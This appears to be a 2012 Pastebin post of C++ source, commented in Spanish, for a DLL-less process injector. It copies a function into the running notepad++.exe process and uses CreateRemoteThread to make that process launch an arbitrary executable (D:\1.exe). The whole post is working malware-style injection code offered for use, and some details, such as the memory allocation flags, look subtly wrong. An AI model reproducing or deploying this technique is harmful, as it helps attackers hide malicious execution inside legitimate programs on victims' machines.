Fakedo0r

Inyeccion sin DLL [C++ XE2]

Sep 1st, 2012
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.17 KB | None | 0 0
  1. //******************************************************************************
  2. //* AUTOR:        Fakedo0r .:PD-TEAM:.
  3. //* FECHA:        01.09.2012
  4. //* CORREO:       [email protected]
  5. //* BLOG:         Sub-Soul.blogspot.com / Sub-Soul.com
  6. //* USO:          Injector;
  7. //******************************************************************************
  8. //******************************************************************************
  9. //#INCLUDE
  10. //******************************************************************************
  11. #include <TlHelp32.h>
  12. //******************************************************************************
  13. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  14. //******************************************************************************
  15. LPVOID AllocAndCopyMem(HANDLE hProcess, const LPVOID lpBuffer,
  16.     SIZE_T iBufferSize);
  17.  
  18. typedef HINSTANCE(WINAPI *__ShellExecute)(HWND, LPCTSTR, LPCTSTR, LPCTSTR,
  19.     LPCTSTR, int);
  20. //******************************************************************************
  21. //DECLARACION DE ESTRUCTURAS
  22. //******************************************************************************
  23. struct T_INJECT {
  24.     __ShellExecute __ShlExe;
  25.     wchar_t cExe[MAX_PATH];
  26.     wchar_t cOper[MAX_PATH];
  27. };
  28. //******************************************************************************
  29. //<--- LA FUNCION QUE VAMOS A INYECTAR --->
  30. //******************************************************************************
  31. void Injected(T_INJECT *tInj) {
  32.  
  33.     tInj->__ShlExe(0, tInj->cOper, tInj->cExe, NULL, NULL, 1);
  34. }
  35. //******************************************************************************
  36. //<--- LA FUNCION QUE OPERA LA INYECCION --->
  37. //******************************************************************************
  38. void Injector() {
  39.  
  40.     DWORD dwPID = 0;
  41.     DWORD dwExitCode = 0;
  42.     UINT uTamFun = 0;
  43.     HANDLE hProcess;
  44.     HANDLE hThread;
  45.     HMODULE hModule;
  46.  
  47.     PROCESSENTRY32 tProcEntry;
  48.     T_INJECT tInj;
  49.  
  50.     hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  51.     tProcEntry.dwSize = sizeof(PROCESSENTRY32);
  52.  
  53.     if (Process32First(hProcess, &tProcEntry)) {
  54.         do {
  55.             if (String(tProcEntry.szExeFile) == "notepad++.exe") {
  56.                 dwPID = tProcEntry.th32ProcessID;
  57.                 break;
  58.             }
  59.         }
  60.         while (Process32Next(hProcess, &tProcEntry));
  61.     }
  62.  
  63.     CloseHandle(hProcess);
  64.  
  65.     // obtenemos el handle del proceso
  66.     hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPID);
  67.  
  68.     // obtenemos el puntero del api
  69.     hModule = LoadLibrary(UnicodeString("Shell32.dll").w_str());
  70.     tInj.__ShlExe = (__ShellExecute)(DWORD) GetProcAddress(hModule,
  71.         "ShellExecuteW");
  72.  
  73.     // copiamos los datos en las variables
  74.     lstrcpy(tInj.cExe, L"D:\\1.exe");
  75.     lstrcpy(tInj.cOper, L"open");
  76.  
  77.     // reservamos y copiamos nuestra estructura en la memoria
  78.     LPVOID lpStruct = AllocAndCopyMem(hProcess, &tInj, sizeof(T_INJECT));
  79.  
  80.     // calculamos el tamaño de nuestra funcion
  81.     uTamFun = (UINT)Injector - (UINT)Injected;
  82.  
  83.     // reservamos y copiamos nuestra funcion en la memoria
  84.     LPVOID lpEsp = AllocAndCopyMem(hProcess, &Injected, uTamFun);
  85.    
  86.     // creamos el hilo remoto
  87.     hThread = CreateRemoteThread(hProcess, NULL, 0,
  88.         (LPTHREAD_START_ROUTINE)lpEsp, lpStruct, 0, NULL);
  89.  
  90.     if (hThread != 0) {
  91.         // esperamos hasta que se cree el hilo
  92.         WaitForSingleObject(hThread, INFINITE);
  93.         // obtenemos el estado de terminacion del hilo
  94.         GetExitCodeThread(hThread, &dwExitCode);
  95.         // liberamos el handle del hilo creado
  96.         CloseHandle(hThread);
  97.         // liberamos el espacio en el proceso
  98.         VirtualFreeEx(hProcess, lpStruct, 0, MEM_RELEASE);
  99.         VirtualFreeEx(hProcess, lpEsp, 0, MEM_RELEASE);
  100.     }
  101.  
  102.     // liberamos el handle del proceso
  103.     CloseHandle(hProcess);
  104. }
  105. //******************************************************************************
  106. //<--- RESERVA ESPACIO Y ESCRIBE EN LA MEMORIA --->
  107. //******************************************************************************
  108. LPVOID AllocAndCopyMem(HANDLE hProcess, LPVOID lpBuffer, SIZE_T iBufferSize) {
  109.     // reservamos espacio en la memoria
  110.     LPVOID lpRemAlloc = VirtualAllocEx(hProcess, 0, iBufferSize,
  111.         MEM_COMMIT | PAGE_READWRITE, PAGE_EXECUTE_READWRITE);
  112.     // escribimos en la memoria
  113.     WriteProcessMemory(hProcess, lpRemAlloc, lpBuffer, iBufferSize, NULL);
  114.  
  115.     return lpRemAlloc;
  116. }
Advertisement
Add Comment
Please, Sign In to add comment